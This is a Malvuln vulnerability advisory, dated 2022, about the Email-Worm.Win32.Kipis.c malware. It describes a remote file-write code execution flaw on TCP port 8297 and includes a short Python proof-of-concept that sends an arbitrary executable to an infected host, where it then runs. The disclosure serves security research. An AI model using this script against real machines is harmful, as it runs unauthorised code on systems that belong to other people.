Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022
Original source: https://malvuln.com/advisory/8d0df60c96e4011c312d61ed3e6dc70e.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln
Threat: Email-Worm.Win32.Kipis.c
Vulnerability: Remote File Write Code Execution
Description: The malware listens on TCP port 8297. Third-party adversaries who can reach the infected host can write executable code to a file named "winlogins.exe" in SysWOW64 directory. The program will execute as soon as the binary transfer has completed. Successfully tested with a 880 byte executable.
Family: Kipis
Type: PE32
MD5: 8d0df60c96e4011c312d61ed3e6dc70e
Vuln ID: MVID-2022-0652
Dropped files: jpdrop.jpg
Disclosure: 10/23/2022
Exploit/PoC:
from socket import *
import time
MALWARE_HOST="x.x.x.x"
PORT=8297
DOOM="DOOM_SM.exe"
def doit():
s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))
f = open(DOOM, "rb")
EXE = f.read()
s.send(EXE)
while EXE:
s.send(EXE)
EXE=f.read()
time.sleep(0.5)
s.close()
print("By Malvuln");
if __name__=="__main__":
doit()
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